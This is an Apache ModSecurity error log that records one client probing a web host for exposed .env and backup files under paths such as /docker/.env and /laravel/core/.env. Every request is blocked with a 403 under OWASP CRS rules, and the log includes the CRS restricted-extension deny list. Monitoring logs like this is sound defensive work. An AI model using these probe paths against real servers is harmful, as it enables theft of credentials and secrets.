[Sat Feb 28 14:49:30.052499 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "aaLyapv7nx7Xa6lKYweQBgAAAAw"]
[Sat Feb 28 14:49:30.102238 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aaLyapv7nx7Xa6lKYweQBwAAAAw"]
[Sat Feb 28 14:49:30.102493 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aaLyapv7nx7Xa6lKYweQBwAAAAw"]
[Sat Feb 28 14:49:30.102678 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aaLyapv7nx7Xa6lKYweQBwAAAAw"]
[Sat Feb 28 14:49:30.148388 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "aaLyapv7nx7Xa6lKYweQCAAAAAw"]
[Sat Feb 28 14:49:30.148633 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "aaLyapv7nx7Xa6lKYweQCAAAAAw"]
[Sat Feb 28 14:49:30.148831 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "aaLyapv7nx7Xa6lKYweQCAAAAAw"]
[Sat Feb 28 14:49:33.182418 2026] [:error] [pid 2385254] [client 45.148.10.160:44084] [client 45.148.10.160] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aaLybZOznqoIQpSELIbs1AAAAAE"]
[Sat Feb 28 14:49:33.182715 2026] [:error] [pid 2385254] [client 45.148.10.160:44084] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aaLybZOznqoIQpSELIbs1AAAAAE"]
[Sat Feb 28 14:49:33.182944 2026] [:error] [pid 2385254] [client 45.148.10.160:44084] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aaLybZOznqoIQpSELIbs1AAAAAE"]
[Sat Feb 28 14:49:43.180231 2026] [:error] [pid 2383931] [client 45.148.10.160:35434] [client 45.148.10.160] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aaLyd5CSoh35rUFTMWG08wAAAAk"]
[Sat Feb 28 14:49:43.181420 2026] [:error] [pid 2383931] [client 45.148.10.160:35434] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aaLyd5CSoh35rUFTMWG08wAAAAk"]
[Sat Feb 28 14:49:43.181601 2026] [:error] [pid 2383931] [client 45.148.10.160:35434] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aaLyd5CSoh35rUFTMWG08wAAAAk"]
[Sat Feb 28 14:51:27.804964 2026] [:error] [pid 2378306] [client 45.148.10.160:52274] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "aaLy3xtCtP4omYNsoH8jGAAAAAM"]
[Sat Feb 28 14:51:27.805362 2026] [:error] [pid 2378306] [client 45.148.10.160:52274] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "aaLy3xtCtP4omYNsoH8jGAAAAAM"]
[Sat Feb 28 14:51:27.805604 2026] [:error] [pid 2378306] [client 45.148.10.160:52274] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "aaLy3xtCtP4omYNsoH8jGAAAAAM"]
[Sat Feb 28 14:51:31.924885 2026] [:error] [pid 2378306] [client 45.148.10.160:52274] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mail/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "aaLy4xtCtP4omYNsoH8jGQAAAAM"]
[Sat Feb 28 14:51:31.925133 2026] [:error] [pid 2378306] [client 45.148.10.160:52274] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "aaLy4xtCtP4omYNsoH8jGQAAAAM"]
[Sat Feb 28 14:51:31.925317 2026] [:error] [pid 2378306] [client 45.148.10.160:52274] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "aaLy4xtCtP4omYNsoH8jGQAAAAM"]
[Sat Feb 28 14:51:39.673745 2026] [:error] [pid 2385358] [client 45.148.10.160:51108] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mailer/.env"] [unique_id "aaLy6_CPVBGXaRUxF20XrwAAAAs"]
[Sat Feb 28 14:51:39.673972 2026] [:error] [pid 2385358] [client 45.148.10.160:51108] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mailer/.env"] [unique_id "aaLy6_CPVBGXaRUxF20XrwAAAAs"]
[Sat Feb 28 14:51:39.674131 2026] [:error] [pid 2385358] [client 45.148.10.160:51108] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mailer/.env"] [unique_id "aaLy6_CPVBGXaRUxF20XrwAAAAs"]
[Sat Feb 28 14:51:43.800422 2026] [:error] [pid 2385357] [client 45.148.10.160:39396] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /nginx/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nginx/.env"] [unique_id "aaLy7xL_5rL674ODEIp-mQAAAAc"]
[Sat Feb 28 14:51:43.800660 2026] [:error] [pid 2385357] [client 45.148.10.160:39396] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nginx/.env"] [unique_id "aaLy7xL_5rL674ODEIp-mQAAAAc"]
[Sat Feb 28 14:51:43.800839 2026] [:error] [pid 2385357] [client 45.148.10.160:39396] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nginx/.env"] [unique_id "aaLy7xL_5rL674ODEIp-mQAAAAc"]
[Sat Feb 28 14:51:46.476331 2026] [:error] [pid 2385357] [client 45.148.10.160:39396] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aaLy8hL_5rL674ODEIp-mgAAAAc"]
[Sat Feb 28 14:51:46.476618 2026] [:error] [pid 2385357] [client 45.148.10.160:39396] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aaLy8hL_5rL674ODEIp-mgAAAAc"]
[Sat Feb 28 14:51:46.476804 2026] [:error] [pid 2385357] [client 45.148.10.160:39396] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aaLy8hL_5rL674ODEIp-mgAAAAc"]
[Sat Feb 28 14:51:50.619746 2026] [:error] [pid 2378750] [client 45.148.10.160:59026] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aaLy9lDtYup7T8W3YuDEyQAAAAY"]
[Sat Feb 28 14:51:50.619994 2026] [:error] [pid 2378750] [client 45.148.10.160:59026] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aaLy9lDtYup7T8W3YuDEyQAAAAY"]
[Sat Feb 28 14:51:50.620157 2026] [:error] [pid 2378750] [client 45.148.10.160:59026] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aaLy9lDtYup7T8W3YuDEyQAAAAY"]
[Sat Feb 28 14:51:50.654719 2026] [:error] [pid 2378750] [client 45.148.10.160:59026] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /xampp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xampp/.env"] [unique_id "aaLy9lDtYup7T8W3YuDEygAAAAY"]
[Sat Feb 28 14:51:50.654932 2026] [:error] [pid 2378750] [client 45.148.10.160:59026] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xampp/.env"] [unique_id "aaLy9lDtYup7T8W3YuDEygAAAAY"]
[Sat Feb 28 14:51:50.655106 2026] [:error] [pid 2378750] [client 45.148.10.160:59026] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xampp/.env"] [unique_id "aaLy9lDtYup7T8W3YuDEygAAAAY"]
[Sat Feb 28 14:51:50.734103 2026] [:error] [pid 2378750] [client 45.148.10.160:59026] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /main/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/main/.env"] [unique_id "aaLy9lDtYup7T8W3YuDEywAAAAY"]
[Sat Feb 28 14:51:50.734323 2026] [:error] [pid 2378750] [client 45.148.10.160:59026] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/main/.env"] [unique_id "aaLy9lDtYup7T8W3YuDEywAAAAY"]
[Sat Feb 28 14:51:50.734538 2026] [:error] [pid 2378750] [client 45.148.10.160:59026] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/main/.env"] [unique_id "aaLy9lDtYup7T8W3YuDEywAAAAY"]
[Sat Feb 28 14:51:52.588206 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "aaLy-JOznqoIQpSELIbs1QAAAAE"]
[Sat Feb 28 14:51:52.588446 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "aaLy-JOznqoIQpSELIbs1QAAAAE"]
